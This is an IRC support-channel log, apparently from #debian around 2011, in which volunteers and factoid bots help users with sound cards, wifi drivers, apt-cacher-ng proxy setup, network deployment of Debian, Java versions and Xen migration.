12:22<help2011>01:00.1 Audio device [0403]: ATI Technologies Inc Redwood HDMI Audio [Radeon HD 5600 Series] [1002:aa60]
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12:23<babilen>help2011: Could you paste "cat /proc/asound/cards" to please?
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12:23<babilen>,pciid 8086:3b56
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12:23<judd>[8086:3b56] is '5 Series/3400 Series Chipset High Definition Audio' from 'Intel Corporation' with kernel module 'snd-hda-intel' in squeeze. See also and the out-of-tree 'snd-hda-intel' module.
12:23<cahoot>help2011: cat /proc/asound/cards - which corresponds to card0?
12:23<babilen>,pciid 1002:aa60
12:23<judd>[1002:aa60] is 'Redwood HDMI Audio [Radeon HD 5600 Series]' from 'ATI Technologies Inc' with kernel module 'snd-hda-intel' in squeeze. See also and the out-of-tree 'snd-hda-intel' module.
12:24<help2011>I'm on the fresh install btw, do you happen to know if this changed passing from kernel 2.6.32 to 2.6.38
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12:24<help2011>cat /proc/asound/cards gives me
12:24<VanOrton>hi all, I can't get wifi to work... Link Quality is high in iwconfig, but no connectivity. Any hints? thank you...
12:24<help2011> 0 [Intel ]: HDA-Intel - HDA Intel
12:24<help2011> HDA Intel at 0xf5e00000 irq 22
12:24<help2011> 1 [Generic ]: HDA-Intel - HD-Audio Generic
12:24<help2011> HD-Audio Generic at 0xf0040000 irq 17
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12:26<damiano>guys if i set the document root as /home/lighttpd/vhosts/ what path do i have to use on the chroot= option(PHP-FPM) ? thanks
12:27<help2011> here it is
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12:29<bighornram>Anyone... how stable is testing right now? I usually run testing, did the offical upgrade when squeeze went stable. Thinking it might be time to go back to testing. How's it looking these days?
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12:30<dpkg>If you have to ask, you shouldn't do it.
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12:31<dpkg>yes, daemonkeeper
12:31<damiano>someone could help me?
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12:32<help2011>nice neckbeard answer dpkg, no wonder ppl are moving to that piece of crap called ubuntu with its dumb Unity
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12:32<bighornram>thanks for the great interaction. help2011 you are correct.
12:33<bighornram>one has to wear a helmet when they come here.
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12:33<bighornram>so now I have dpkg's opinion. that is the throwout, anyone else ?
12:33<babilen>bighornram: There are a lot of big transitions happening in sid/wheezy right now and I wouldn't recommend to switch to testing before those aren't over.
12:34<VanOrton>any hint on how I can make wifi work on a debian sarge? accesspoint serves a couple of linux PCs so it is not an issue. link quality is high but no connectivity...
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12:34<babilen>bighornram: I can not tell you *exactly* how broken wheezy is these days, but I wouldn't consider running it for the time being.
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12:34<babilen>VanOrton: sarge⸘ seriously?
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12:35<VanOrton>babilen: yeah :-( I must stick with it
12:35<daemonkeeper>You should consider upgrading the upgrade the upgrade.
12:35<babilen>VanOrton: how come?
12:36<bighornram>babilen: thanks. it goes in spurts but from past experiences it is quite broken for a while after going to stable. I'll hold off a while longer. Squeeze is nice. :D
12:36<babilen>VanOrton: sarge is *ancient* and my knowledge of fixing things there went the way of the dodo
12:36<jhutchins_lt>VanOrton: What's the pciid of the wifi chipset?
12:36<VanOrton>no such option. It's a mobile robot running linux. It's not mine, I'm just using it for some time (experiments)
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12:36<VanOrton>hmmm... pciid?
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12:37<dpkg>First, check for a backport on <debian-backports>. If unavailable: 1) Add ONLY a <deb-src> line for sid to /etc/apt/sources.list 2) enable debian-backports (see <bdo>) 3) aptitude update; aptitude install build-essential; aptitude build-dep packagename; apt-get -b source packagename; 4) install the resultant debs. To change compilation options, see <package recompile>; for versions newer than sid see <uupdate>.
12:37<jhutchins_lt>VanOrton: lspci -nn
12:37<babilen>bighornram: sid would be an option, but just keep on using squeeze for now. If you need a set of newer packages you can look into backports. (either squeeze-backports or backporting it yourself)
12:37<VanOrton>lspci -->
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12:37<cahoot>help2011: try this /etc/init.d/alsa-utils reset 1; speaker-test -twav -c2 -DGeneric
12:37<VanOrton>yeah ok just a sec
12:37<sako>hey babilen why does it say 2) enable debian-backports?
12:37<sako>this isnt necessary right?
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12:37<sako>if there are no dependencies in backports..
12:37<VanOrton>jhutchins_lt: it's a whole list of ids...
12:38<dominick>Hi! What's the best way to install preconfigured debian on a network in 50 PCs at the same time?
12:38<babilen>sako: It is necessary to get dependencies that are not available in squeeze but have already been backported. Enabling it is not strictly needed but recommended.
12:38<VanOrton>ther's an ATheros and an Intel there
12:38<daemonkeeper>dominick: puppet, PXE, ...
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12:38<babilen>... FAI
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12:38<daemonkeeper>preseeded installer, ...
12:39<babilen>but puppet + PXE is certainly a good option
12:39<bighornram>babilen: I've backported a few myself. ...a little bored I guess. :P
12:39<jhutchins_lt>VanOrton: Apply brain, find wifi, paste eight digit ID here.
12:40<babilen>VanOrton: "lspci -nn|grep -i network" → give us the PCIID
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12:40<dominick>daemonkeeper, what's preseeded installer? is it a package?
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12:40<daemonkeeper>dominick: A home brewed installer image fitting your requirements, i.e. no need to configure each station you configure manually.
12:41<babilen>!tell dominick about preseed
12:41<VanOrton>There are 2 ethernet controllers: Atheros (168c:001b) and Intel (8086:1209)
12:41<VanOrton>I guess it's the Atheros.
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12:41<dominick>daemonkeeper: kool... found a page about preseed on debian wiki... be right back.
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12:41<babilen>dominick: Please look into puppet and FAI too
12:42<babilen>dominick: In order to give good support you might tell us more about your needs and setup
12:42<VanOrton>lspci gives something like "Unknown device 001b" for Atheros Ethernet controller
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12:42<locsmif>What's the recommended way to have apt-get update automatically?
12:42<babilen>,pciid 168c:001b
12:42<judd>[168c:001b] is 'AR5413 802.11abg NIC' from 'Atheros Communications Inc.' with kernel module 'ath5k' in squeeze. See also
12:42<daemonkeeper>locsmif: Not to do at all. If you really think you know what you are doing: cron-apt
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12:43<babilen>VanOrton: Looks as if you need at least kernel v2.6.25
12:43<themill>daemonkeeper: "apt-get update" from cron isn't so much of an issue. upgrading would be living dangerously
12:43<daemonkeeper>themill: That's how I interpreted locsmif
12:43<VanOrton>babilen: don't tell me... I can make no change!
12:44<babilen>VanOrton: no change == no wifi
12:44<locsmif>daemonkeeper: update, not upgrade
12:44<daemonkeeper>locsmif: ok, see themill then.
12:44<locsmif>Otherwise the diffs are of no use, imho
12:44<locsmif>but ty
12:44<daemonkeeper>locsmif: cron-apt can prefetch packages too, if you are interested.
12:44<VanOrton>babilen: how do I figure the kernel version?
12:45*themill uses cron-apt on all his boxes
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12:46<babilen>VanOrton: "uname -r"
12:46<babilen>VanOrton: No way if you have anything < 2.6.24
12:46<VanOrton>babilen: it's :-(
12:47<VanOrton>babilen: what if I changed the wifi card?
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12:48<babilen>VanOrton: You might want to look into madwifi -- Haven't touched that in years, so you have to google on your own. (ath5k) + (madwifi)
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12:49<ompaul>VanOrton: why can't you update the kernel?
12:49<VanOrton>babilen: ok...! thanks.
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12:49<VanOrton>ompaul: it's about a robot running debian. It's not mine, I can't touch it...
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12:50<ompaul>but you can change hardware ...
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12:50<babilen>VanOrton: I guess that you need some (proprietary?) kernel modules developed for that haven't been touched in ages and don't compile against even a slightly different version, or?
12:50<VanOrton>ompaul: yes, I can switch the wifi card, mount mine, then put it back ;-)
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12:52<VanOrton>babilen: I see. Is it "removable"?...
12:52<ompaul>VanOrton: I think you need to talk to the owner it should be possible to put the hard drive to one side and try it with more recent software then at least the disk is preserved and full functionality can be checked
12:52<babilen>Is what "removable" ?
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12:53<ompaul>VanOrton: yes and no, your best bet is to do what I just suggested - perhaps even copy the old software onto that box and try some upgrades
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12:53<ompaul>swap disks
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12:53<dominick>daemonkeeper: babilen: I will also need some initial configuration to be deployed during/immediately-after installation. These include, some additional packages and extraction of a tarball in /opt. I will also have to change the /etc/skeleton , and should be able to manage the configuration from a server.
12:54<babilen>dominick: puppet i say
12:54<daemonkeeper>dominick: Puppet can handle this
12:54<dominick>daemonkeeper: babilen: what about FAI?
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12:54<VanOrton>mmm... I guess I'll have to 1) ask for explicit permission for upgrade or 2) use it with the wired ethernet and run around the place with a cable in my hand lol.
12:54<daemonkeeper>dominick: I personally prefer my own Debian packages doing diverts, but that's up to you.
12:55<jhutchins_lt>VanOrton: Did it ever work with sarge, or are you adding a new wifi card?
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12:55<daemonkeeper>dominick: FAI can probably as well, I personally have not much experience with it.
12:55<ompaul>VanOrton: have you considered that it might be the controls might be on the wire but not on the tcp/ip?
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12:56<dominick>daemonkeeper: babilen: I'd be testing both preseed+puppet and FAI. would virtualbox-ose serve the purpose?
12:56<fosser_josh>is there any difference between text based expert mode and graphical based expert mode in debian 6 installation in order to customise the debian
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12:57<daemonkeeper>dominick: PXE is a bit tricky, but in general: sure
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12:57<VanOrton>jhutchins: there is a wifi card inside, but the owner has never made it to work..
12:57<VanOrton>ompaul: i don't quite understand
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12:58<dominick>and how do I go about setting a debian repository on the server so that all these PCs don't download the same packages all over again?
12:59<ompaul>VanOrton: are you sure that the instructions are over tcp/ip if not then you can't be sure that it will work on the wireless (and I really do mean it about backing up the hard drive first)
12:59<babilen>dominick: Use something like apt-cacher-ng or approx for that
12:59<babilen>!tell dominick about apt-cacher-ng
12:59<daemonkeeper>dominick: You probably want apt-proxy or something like this instead
12:59<babilen>dominick: Sorry, that factoid is useless. :-\
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13:00<babilen>daemonkeeper: apt-cacher-ng not good anymore?
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13:00<daemonkeeper>babilen: TMTOWTDI (I have no clue about apt-cacher though)
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13:01<VanOrton>ompaul: what do you mean instructions? the robot software? it's me who has written the software, it does work via both wired or wireless (its tcp/ip)
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13:05<VanOrton>anyway, thanks guys!
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13:06<babilen>VanOrton: good luck :-\
13:07<dominick>apt-cache or apt-proxy? I also wish to use the squeeze-DVD-1.iso that I have.
13:07<VanOrton>thanks! bye
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13:07<daemonkeeper>dominick: Apparently apt-cacher-ng is a replacement for apt-proxy.
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13:08<locsmif>the factoid should be changed
13:08<babilen>locsmif: Knock yourself out
13:08<locsmif>dpkg: apt-cacher-ng is a replacement for apt-proxy
13:08<dpkg>...but apt-cacher-ng is already something else...
13:09<locsmif>dpkg: forget apt-cacher-ng
13:09<dpkg>i forgot apt-cacher-ng, locsmif
13:09<locsmif>dpkg: apt-cacher-ng is a replacement for apt-proxy
13:09<locsmif>Sigh. Throttling.
13:09<locsmif>dpkg: apt-cacher-ng is a replacement for apt-proxy
13:09<dpkg>locsmif: okay
13:09<babilen>locsmif: First: /query dpkg and then:
13:10<dominick>awesum! I'll start with testing apt-proxy first...
13:10<babilen>locsmif: You might want to provide more information too (link to applicable documentation etc)
13:10<locsmif>babilen: yeah, thanks.
13:10<dominick>I hope that'll cover everything I need!
13:10<daemonkeeper>dpkg: apt-cacher-ng =~ s/apt-proxy/<apt-proxy>/. See also <apt-cacher>, <apt-cacher-ng>, <squid deb caching>, <approx>.
13:10<dpkg>You are person #2 to send an unparseable request, daemonkeeper
13:10<daemonkeeper>dpkg: apt-cacher-ng =~ s/apt-proxy/<apt-proxy>. See also <apt-cacher>, <apt-cacher-ng>, <squid deb caching>, <approx>./
13:10<dpkg>daemonkeeper: OK
13:10<dominick>I'm gonna be hanging around here for a few days I guess.
13:11<babilen>daemonkeeper: recursive factoids?
13:11<locsmif>See also apt-cacher-ng from apt-cacher-ng? ;-)
13:11<daemonkeeper>dpkg: apt-cacher-ng =~ s/<apt-cacher-ng>/<apt-cacher>/
13:11<dpkg>OK, daemonkeeper
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13:11<locsmif>dpkg *is* one of my favorite bots though. Mainly because it's so rude.
13:11<dpkg>You are person #3 to send an unparseable request, locsmif
13:11<daemonkeeper>So. Everything beyond probably in a /msg :)
13:12<dominick>okay... i'll try ng first then!
13:12<dpkg>apt-cacher-ng is a replacement for <apt-proxy>. See also <apt-cacher>, <squid deb caching>, <approx> and
13:12<ompaul>don't encourage either of them :)
13:13<babilen>ok ^^ ?
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13:13<locsmif>ompaul: ?
13:14<locsmif>irc ppl or cachers?
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13:14<ompaul>locsmif: both :)
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13:15<locsmif>ompaul: irc ppl I can understand, but whatcha got against cachers? (I know some have issues, granted)
13:15<daemonkeeper>babilen: I'd suggest to include
13:15<daemonkeeper>Although that's slighty OT
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13:15<locsmif>ompaul: sorta like a must when you're running a LAN of Debian machines
13:15<ompaul>locsmif: I was being funny (at least in my mind ;-))
13:15<dominick>"aptitude show apt-cacher-ng" ends with "with no need to modify clients' sources.list files". Was wondering how that works?
13:15<locsmif>ompaul: me too ;-)
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13:17<gui_user>If I review a changelog for a pending update, and decide not to install that specific version (perhaps it's just translation updates) but do not want to block it from being installed as a dependency of another package -- how would one do this? I've been re-reading the apt_preferences man page, trying version pins of 1 or -1, but not quite sure that it works...
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13:19<locsmif>Why is apt keeping packaged caches in /var/cache/apt that look like this:
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13:19<locsmif>-rw-r--r-- 1 root root 25165824 Dec 15 11:52 pkgcache.bin.yk3PdD
13:19<locsmif>This is old, what's it for, besides filling up my hdd
13:20<daemonkeeper>gui_user: You can't force not to upgrade a dependency. You can pin the package of course, but if you do, you are stuck to the installed version for all reverse dependencies as well
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13:22<diederik>dominick: in /etc/apt/apt.conf have the following line:
13:22<locsmif>daemonkeeper: I don't think that was the gist of his question, more like: I want to hold 'unless'
13:22<diederik>Acquire::http::Proxy "http://<apt-cacher-ng-machine>:3142";
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13:25<dominick>diederik: cool!
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13:28<babilen>!tell dominick -about readme.debian
13:29<babilen>dominick: It is always a good idea to read the README.Debian of a package when you are unsure how to use it and if you want to find out what Debian specific changes have been made to the software.
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13:30<dominick>babilen: where do i find the README.Debian for a package?
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13:31<babilen>dominick: See the message you've just received from dpkg
13:31<dominick>babilen: oh! I'm sorry..Just noticed dpk's msg.
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13:32<Jessers>I was wondering how i would update my java. Currently installed: java
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13:33<babilen>,versions openjdk-6-jdk
13:33<judd>Package openjdk-6-jdk on i386 -- lenny: 6b11-9.1; squeeze: 6b18-1.8.3-2; lenny-security: 6b18-1.8.7-2~lenny1; squeeze-security: 6b18-1.8.7-2~squeeze1; wheezy: 6b18-1.8.7-2; sid: 6b18-1.8.7-3; experimental: 6b22-1.10.1-1
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13:33<hfr>hi, i'm currently trying (for a long time..) to create a (debian-XEN) paravirtualized centos domU on a debian dom0. does anybody know how to get this running? i already googled a lot and i'm stuck with the installer just dont working. i guess it has something to do with my dom0 using vif-nat and network-nat scripts!
13:34<babilen>Jessers: Which version of Debian is that and what is the output of "dpkg -l openjdk-6-jdk|tail -1" ?
13:34<daemonkeeper>What's the problem you have?
13:34<Jessers>Not using openjdk
13:35<babilen>Jessers: sun-foo-java-hurgel in that case ;)
13:35<babilen>,versions sun-java6-jdk
13:35<judd>Package sun-java6-jdk on i386 -- lenny/non-free: 6-22-0lenny1; squeeze/non-free: 6.24-1~squeeze1; wheezy/non-free: 6.24-1; sid/non-free: 6.24-2
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13:36<Jessers>no pacjages found using dpkg
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13:36<babilen>Jessers: "dpkg -l sun-java6-jdk|tail -1" -- Which version of Debian do you use and which version of Java do you want?
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13:37<Guest3547>eiii q coño aceiis gilipollas??
13:37<Jessers>how would i found out which version of debian do i use?
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13:37<Jessers>typing uname -a just says linux 2.6
13:37<babilen>Jessers: "cat /etc/debian_version" would be a start :)
13:37<Guest3547>you speak spanish??
13:37<daemonkeeper>dpkg: tell Guest3547 about es
13:38<daemonkeeper>We can hear you ...
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13:38<babilen>Jessers: You are using lenny. I would consider upgrading the system to squeeze which will get you java 6.24-1~squeeze1 too -- Follow the release notes: /msg dpkg squeeze release notes
13:39<Jessers>ok, this is a dedicated server
13:40<Guest3547>please dont tuch the name pleasee
13:40<themill>!ubuntu-es Guest3547
13:40<dpkg>Guest3547: Ubuntu esta basado en Debian, pero no es Debian, y dificilmente tendra los estandares de Debian. Solo Debian es soportado en #debian. Por favor conectese a #ubuntu-es en Ahi recibira mas soporte.
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13:41<babilen>,versions openjdk-7-jdk
13:41<judd>Package openjdk-7-jdk on i386 -- experimental: 7~b130-1.14~pre0-2
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13:43<Jessers>ok, say i can't update my OS, is there anyway for me to update java?
13:44<diederik>Jessers: you can download the .bin file from Sun/Oracle and install that in /opt (for example)
13:44<babilen>Jessers: Install the sun/openjdk version manually to /opt or /usr/local ?
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13:45<babilen>Jessers: But you should plan your upgrade to squeeze
13:45<diederik>When you then use java-update-alternatives (or sth like that) to 'integrate' it in your debian system
13:45<Jessers>well i have plesk installed on this dedi
13:45<hfr>daemonkeeper: long story short, i switched from a centOS-dom0 to a debian-dom0 and need to move a previously paravirtualized centos host to the new debian-dom0. just moving the image along with the xen-configuration-file doesnt seem to work. so i tried installing a clean, paravirtualized centos host on my debian-dom0. xen-create-image unfortunatly doestn support creation of centos/rhel based systems anymore.. so i tried googleing, but i cant realy find anyt
13:46<Jessers>and host is telling me plesk doesn't work with 6
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13:46<diederik>Jessers: Then you probably need java5, not 7
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13:47<hfr>daemonkeeper: i'm basically just looking for a way to install a fresh, paravirtualized centos host on a debian-dom0
13:48<daemonkeeper>hfr: You can certainly migrate a domU to another dom0. For CentOS installations I'd suggest you to use the anaconda bootstrapper from
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13:53<hfr>daemonkeeper: thanks, i'll try with that
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13:54<mister2>what's the command to split files?
13:54<daemonkeeper>hfr: Actual magic is "Preparing a Xen configuration file for the installation".
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13:55<babilen>mister2: unsurprisingly "split"
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13:57<hfr>daemonkeeper: you say, migration is possible. With HVM hosts i definitly can see no problem why this shouldn work. But istn paravirtualization somehow "binding" the host to the os of the dom0?
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13:59<daemonkeeper>hfr: Xen uses the XenBus to communicate with the dom0. As long as API interfaces match, there is no problem to migrage a PV domain. Depending on how you boot your domUs, you might need to copy over the kernel as well
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13:59<daemonkeeper>hfr: If you have more questions consider ##xen on Freenode, this is a bit off topic here.
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14:04<hfr>daemonkeeper: thanks, you helped a lot, i guess i have to copy over the kernel.... ;)
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14:04<daemonkeeper>hfr: Unless you use pygrub/pv-grub you do
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14:06<Golfgeo>Got a bit of a (off-topic) question people... Is the multiple of DOS: DOSes, DOS'es DOS's or???
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14:06<rat>this rat
14:07<rat>any body there
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14:07<rat>could please help me to change my host name
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14:08<devil>for now or for good?
14:08<Golfgeo>change it in the file /etc/hostname
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14:09<Golfgeo>then reboot and it will be changed permanantly and enables
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14:12<devil>no reboot needed. /etc/init.d/ restart will do
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14:13<dominick>What is the IP of the host in virtualbox-ose?
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14:15<Golfgeo>devil, I know it can be done, but (old and perhaps outdated documentation) sugests a reboot might be needed for some services that use hostname based resolveing
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14:18<raylu>alternatively, you can set it using the hostname command
14:19<daemonkeeper>dominick: You configured it yourself.
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14:21<dominick>daemonkeeper: No. I already have a debian installed, was testing apt-cacher-ng. Anyways, i think I found the answer. The network adapter in VB is configured to use NAT. I'll try switching it to Host-Only
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14:22<diederik>dominick: if you set it to bridged, it'll get it's own IP address and then you can use that to connect from the guest to the host
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14:26<vook>I have a strange issue on an office lan (using LDAP). Basically when I attempt to login to any account via ssh or locally, login is successful regardless of what password I use (root, everyone). Any tips on where I should look to solve this ?
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14:26<vook>it doesn'
14:27<vook>it doesn't happen if I attempt to login from a remote location
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14:27<retrospectacus>vook: what do you mean, "using LDAP"
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14:28<vook>authentication is handled via ldap - no local users. It's a weird setup - the hosts boot from network using Onesis.
14:29<vook>I didn't design it, I came in to the establishment recently.
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14:30<dominick>diederik: both bridged and host-only works, except in host-only, I don't have internet access.
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14:31<retrospectacus>vook: sorry, no idea.
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14:31<retrospectacus>kiko: hi. Do you have a debian question? If so, just ask. If not, please be quiet.
14:32<vook>no big deal I guess - I'm going to be rebuilding the whole network in the next few weeks
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14:33<kuhkatz>hi, some days ago i installed the shiki-wine-theme for gnome, and today it all looks broken. gnome-appearance-properties says "theme broken", too. i tried purging and reinstalling with synaptics, but no chance. whats broken here?
14:33<kiko>fique quieto!
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14:50<dominick>can't get apt-cacher-ng working. As instructed in the manual, I installed apt-cacher-ng in my laptop, started VirtualBox over a Bridged network connection, created a file /etc/apt-cacher-ng/02proxy.conf with content "Acquire::http { Proxy ""; };" and ran aptitude update. I get a "111: Connection refused" error.
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15:02<diederik>dominick: it should be Acquire::http::Proxy "";
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15:03<diederik>hmm wait. is the ip of your VB?
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15:05<diederik>dominick: on your guest (=VB?) you should have that line in /etc/apt/apt.conf
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15:06<diederik>I don't have a /etc/apt-cacher-ng/2proxy.conf though
15:06<diederik>maybe it matters, but I upgraded from 0.5.x and didn't change the configuration
15:07<dominick>diederik: I put the line in /etc/apt/apt.conf.d/02proxy, and it works. thanks.
15:07<diederik>that works too, great.
15:09<dominick>diederik: I didn't have it either. created it.
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15:09<dominick>diederik: actually, it didn't work.
15:10<diederik>in /etc/apt/ or /etc/apt-cacher-ng/ ?
15:10<dominick>it downloaded from the internet.
15:10<assa>Hi, I have a problem. I want to install debian through a usb pen. I download both a boot.img.gz ( and a netinst/businesscard iso ( When I boot up my netbook, I get this message "No kernel module were found. This probably is ...
15:10<assa>... due to a mismatch between the kernel used by this version of the installer and the kernel version available in the archive....". My question is, is there any newer installer?
15:10<diederik>check on your laptop in /var/cache/apt-cacher-ng/ and see if they're there
15:10<dominick>it said "E: Syntax error /etc/apt/apt.conf.d/02proxy:2: Extra junk at end of file"
15:10<babilen>!tell assa about usb install
15:11<diederik>ah yes, put an extra linebreak at the end
15:11<babilen>assa: Just "cat" the image to the stick or follow "the flexible way" -- I would also not recommend to use the wheezy installer or even upgrading to wheezy at this time
15:12<diederik>and if that's not it, pastebin it and/or change your syntax into mine (I didn't have {})
15:13<dominick>back to the old problem now. 111: Connection Refused
15:13<assa>babilen: babilen I know how to do that, I have dd'd many times before :) I just wonder about the mismatch.
15:13<assa>It seems that is a newer version than
15:13<assa>I got it from ftp://ftp
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15:14<dominick>diederik, i copied the line you gave.
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15:15<diederik>VirtualBox is the client right? and is the IP of your laptop?
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15:15<diederik>and which version of apt-cacher-ng are you using?
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15:17<assa>babilen: probably it will work with the http-version stated in the installation guide, but still it is strange that ftp and http differs.
15:17<assa>>md5sum http/boot.img.gz ftp/boot.img.gz
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15:17<assa>e9674a6357d22a3edcdc28a32a1ca12d http/boot.img.gz
15:17<babilen>assa: note the squeeze vs wheezy there
15:17<assa>ea2369087027ccb1d66dc3db8be507cd ftp/boot.img.gz
15:18<assa>babilen: aah, i missed that
15:18<dominick>diederik: sorry, the internet went off...
15:18<diederik>yeah, happens sometimes :P
15:18<dominick>happens a lot here.
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15:19<babilen>assa: No problem :) -- Just stay with squeeze for now
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15:20<assa>babilen: well, thats a problem. I need wheezy :)
15:21<babilen>assa: Why is that?
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15:21<babilen>assa: Trust me, running wheezy right now is not a good idea
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15:22<dominick>how do I fix the 111:Connection error on the client? I'm trying to configure apt-cacher-ng
15:23<assa>babilen: why not? It works pretty well on this computer :)
15:23<diederik>ok, your laptop has apt-cacher-ng installed and has, right?
15:24<diederik>and VirtualBox is your client and that has /etc/apt/apt.conf.d/02proxy file stating the line I posted earlier
15:24<diederik>02proxy.conf should that be btw
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15:25<dominick>diederik: yes.
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15:25<assa>babilen: I have used wheezy from the day squeeze became stable. I have not had any major issue (more than that my bios is a bit broken... I have to do a custom kernel with dsdt-override to get cpufreq working)
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15:25<diederik>ok ping from VB to the laptop
15:25<babilen>assa: udev/initscript/base-files transition, python transition, gnome 3 transition, kde transition, lots of things to worry about
15:26<babilen>assa: I would personally rather use sid at this moment and be cautious with what I do ...
15:26<dominick>I have configured a bridged network over VB, and am able to ping the systems from others.
15:26<dominick>diederik: I can ping.
15:27<diederik>open from VB (assuming you have a browser there)
15:27<assa>babilen: well, I don't use gnome or kde :)
15:28<dominick>diederik: I'm installing lynx
15:28<assa>babilen: and udev/initscript/base-files has not been a issue so far
15:28<babilen>assa: The python and udev/base-files transition will still impact you (and probably had udev 167-1 *was* broken) -- But run whatever you are comfortable with, it is not my role to lecture you. I would just recommend to install squeeze and upgrade afterwards.
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15:30<dominick>diederik: 404
15:30<assa>babilen: maybe i missed udev 167-1 and jumped directly to 167-3 when performing an upgrade
15:30<diederik>dominick: that's weird and probably also why you got connection refused
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15:31<dominick>something to do with VB?
15:31<dominick>I can try a Host-Only network connection/
15:31<diederik>no, I probably have it
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15:31<diederik>did you change (on your laptop) /etc/default/apt-cacher-ng?
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15:32<babilen>assa: udev 167-1 migrated (erroneously imho) to testing on 2011-04-10 -- See #620995 for the symptoms
15:32<diederik>iirc you need to enable it by changing that file
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15:33<diederik>pastebin /etc/default/apt-cacher-ng
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15:37<dominick>diederik: I didn't change /etc/default/apt-cacher-ng on the host.
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15:37<diederik>maybe it's not needed, but pastebin it so I can verify it with mine
15:38<diederik>the package pastebinit is great for that :)
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15:38<jhutchins_lt>,versions procmail
15:38<judd>Package procmail on i386 -- lenny: 3.22-16; sid: 3.22-19; squeeze: 3.22-19; wheezy: 3.22-19
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15:38<dominick>diederik: I'll need help with that... How do I pastebin from the command line on the guest?
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15:38<diederik>install pastebinit package
15:39<evaluate>Is it possible to completely suppress kernel boot messages (yet still log them in /var/log) without using a splash screen?
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15:40<diederik>when you've installed it, "pastebinit /etc/default/apt-cacher-ng" (without the quotes)
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15:40<evaluate>I know there is the possibility to edit /etc/sysctl.conf to manage what messages get displayed, but as far as I understand it, that also influences the logging of those messages, doesn't it?
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15:42<dominick>diederik: the host has GUI.
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15:43<diederik>it's the same as mine
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15:43<diederik>do "/etc/init.d/apt-cacher-ng status"
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15:45<dominick_>sorry... the internet problem again.
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15:46<diederik>do "/etc/init.d/apt-cacher-ng status"
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15:48<dominick_>diederik: it doesn't accept "status"
15:49<Bisa>hoi, anyone able to assist me with a possible mbr issue?
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15:50<dominick_>diederik: is being displayed in the guest now.
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15:50<dominick_>diederik: and it still says 111:Connection refused
15:50<diederik>did you do aptitude update?
15:51<dominick_>diederik: yes... 111:Connection Refused
15:51<diederik>try apt-get update
15:51<diederik>(just this ones)
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15:51<babilen>!tell Bisa -about fixmbr
15:51<diederik>wait: now it's !!!
15:51<dominick_>diederik: when I use lynx to open it, it shows "Http/101 404 OK" for some time. is that normal?
15:52<diederik>in your 02proxy.conf you have (iirc)
15:52<Bisa>babilen, dunno if it is a mbr issue yet tho
15:52<diederik>dunno, don't have lynx on my desktop
15:52<dominick_>diederik: oh! I changed the configuration some time back. Accordingly I changed the 4 to 2.
15:53<babilen>Bisa: My crystal ball is not working at full capacity right now, sorry
15:53<diederik>dominick_: make sure you're using the correct IP addresses. My server (which has apt-cacher-ng is configured with a static ip address)
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15:54<dominick_>diederik: yes, the IPs are changing. I'm only testing it using VB. The deployment server has a static IP.
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15:56<dominick_>I'm now able to open , but after a delay (5 sec) during which it displays "Http/1.1 404"
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15:56<dominick_>could this delay be the problem?
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15:56<diederik>it sounds weird, so it could be it. a 404 is already a response
15:57<diederik>you now have a gui on VB, right? If so, install Iceweasel (or sth like that)
15:58<dominick_>diederik: no, the guest has only the base system.
15:58<dominick_>the host has GUI.
15:58<dominick_>host is the server.
15:58<diederik>host = server = laptop??
15:58<dominick_>diederik: yes.
15:59<Bisa>is, if at startup, only seeing a white _ on screen indicating any particular issue? I am not able to boot other then if I manually select the windows drive which boots windows gracefullt
15:59<diederik>and when you open on your laptop the acng-report.html page, do you see a normal webpage?
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15:59<diederik>at the top you should see a "Transfer statistics" and below that a "Count Data" button
15:59<dominick_>diederik: yes
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16:00<dominick_>diederik: a 404 flashes in the title... hardly noticeable.
16:00<diederik>then if you don't get that on the guest with lynx, then that's the issue
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16:01<diederik>with acng-report.html at the end or just hostname:port?
16:01<babilen>Bisa: There is very little we can do if you don't provide more information.
16:01<dominick_>diederik: with
16:02<diederik>and the normal page doesn't come up after the 404?
16:02<dominick_>diederik: it does...
16:02<dominick_>on the server, instantly, on the guest, after 5 secs.
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16:03<dominick_>might as well be a difference b/w lynx and iceweasel. can't say/
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16:04<diederik>5 seconds shouldn't be a problem, but if a 404 is reported first (which is really strange) that could cause it, but I'd guess you'd see a different error msg
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16:04<diederik>what system is the host running and what system runs in VB?
16:05<dominick_>diederik: that's all that shows in the lynx status: "Alert!: HTTP/1.1 404 OK"
16:05<diederik>just installed lynx and got an instant response
16:05<dominick_>both are squeeze
16:06<dominick_>let me try lynx locally on the server.
16:06<diederik>for some reason you can seem to connect from VB to your server/laptop
16:07<dominick_>Hi! It happens only in lynx...
16:08<diederik>only in lynx or only in VB?
16:08<dominick_>in lynx on the host...
16:08<dominick_>it still shows 404 for about the same time.
16:08<mutante>404 OK ??
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16:09<diederik>hmmm, with lynx on my pc (=client) it works perfectly
16:09<mutante>that sounds weird, 404 cant be OK..?!
16:09<diederik>it's a valid response, that's what OK means
16:09<dominick_>mutante: it means, that the response is valid.
16:09<diederik>even though it's probably not what you wanted/hoped for
16:09<mutante>ok, i see
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16:11<diederik>dominick_: do "wget"
16:11<diederik>(from within your VB image)
16:12<dominick_>diederik: that ran instantly, and it has the valid html
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16:12<diederik>maybe it's a bug in lynx in squeeze (run sid here so can't verify)
16:13<diederik>what did wget give as reponse code? 200 OK?
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16:15<dominick_>diederik: i'll try the other way round. making the host as the client and the guest as the server.
16:15<diederik>have you done an "apt-get update" from the VB image?
16:15<anathema>I would like teste my "micro" with google talk but it's not work ...
16:15<dominick_>diederik: yes.
16:15<anathema>i use Debian and Chrome
16:16<diederik>that's probably easier, apt-cacher-ng doesn't need a gui (I don't) while it's useful for the client
16:16<anathema>do you know was i should do plz ?
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16:16<diederik>dominick_: change the setup and try it again and report back, but prefix it with my name so I can find it back.
16:16<diederik>I'm going to eat now ;)
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16:17<triton>I'm trying to get the debian installer to load from e:\ but it say can't find loader on c:\ any ideas? i tried google
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16:18<dominick_>diederik: Works from the host to the guest.
16:19<dominick_>diederik: with the guest as the server and the host as the client.
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16:19<triton>say=says ""
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16:23<diederik>great :)
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16:24<triton>any suggestions?
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16:25<jiltdil>hi is this default channel opening in xchat in 11.04?
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16:27<dpkg>Unity through Diversity!
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16:27<dpkg>Ubuntu is based on Debian, but it is not Debian, and it is unlikely to live up to Debian's standards (see <Debian policy>). Only Debian is supported on #debian. Use #ubuntu ( instead. Even if the channel happens to be less helpful, support for distributions other than Debian is offtopic on #debian. See also <based on debian>.
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16:28<jiltdil>i am using 11.04 in which channel should i to go?
16:28<babilen>triton: you are using the win32 installer aren't you?
16:28<jiltdil>ubuntu 11.04
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16:28<arand>!ubuntu | jiltdil
